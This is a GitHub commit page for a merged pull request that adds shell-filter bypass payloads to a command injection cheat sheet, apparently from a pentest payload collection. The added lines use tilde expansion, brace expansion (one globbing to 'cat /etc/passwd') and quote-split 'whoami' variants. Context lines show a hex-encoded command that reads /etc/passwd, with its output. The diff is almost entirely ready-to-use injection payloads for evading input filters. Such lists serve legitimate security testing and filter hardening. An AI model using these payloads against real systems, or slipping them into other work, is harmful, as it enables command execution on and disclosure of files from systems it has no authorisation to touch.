Skip to content

Commit

Permalink
Merge pull request #732 from Xhoenix/master
Browse files Browse the repository at this point in the history
added bypass techniques
  • Loading branch information
swisskyrepo authored Nov 2, 2024
2 parents 11d1704 + 04eb1eb commit b29edef
Showing 1 changed file with 24 additions and 0 deletions.
24 changes: 24 additions & 0 deletions Command Injection/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -15,6 +15,9 @@
* [Bypass with a line return](#bypass-with-a-line-return)
* [Bypass with backslash newline](#bypass-with-backslash-newline)
* [Bypass characters filter via hex encoding](#bypass-characters-filter-via-hex-encoding)
* [Bypass with Tilde expansion](#bypass-with-tilde-expansion)
* [Bypass with Brace expansion](#bypass-with-brace-expansion)
* [Bypass characters filter](#bypass-characters-filter)
* [Bypass blacklisted words](#bypass-blacklisted-words)
* [Bypass with single quote](#bypass-with-single-quote)
* [Bypass with double quote](#bypass-with-double-quote)
Expand Down Expand Up @@ -217,6 +220,25 @@ swissky@crashlab:~$ cat `xxd -r -ps <(echo 2f6574632f706173737764)`
root:x:0:0:root:/root:/bin/bash
```

### Bypass with Tilde expansion

```powershell
echo ~+
echo ~-
```

### Bypass with Brace expansion

```powershell
{,ip,a}
{,ifconfig}
{,ifconfig,eth0}
{l,-lh}s
{,echo,#test}
{,$"whoami",}
{,/?s?/?i?/c?t,/e??/p??s??,}
```


### Bypass characters filter

Expand Down Expand Up @@ -247,13 +269,15 @@ root:x:0:0:root:/root:/bin/bash
```powershell
w'h'o'am'i
wh''oami
'w'hoami
```

#### Bypass with double quote

```powershell
w"h"o"am"i
wh""oami
"wh"oami
```

#### Bypass with backticks
Expand Down

0 comments on commit b29edef

Please sign in to comment.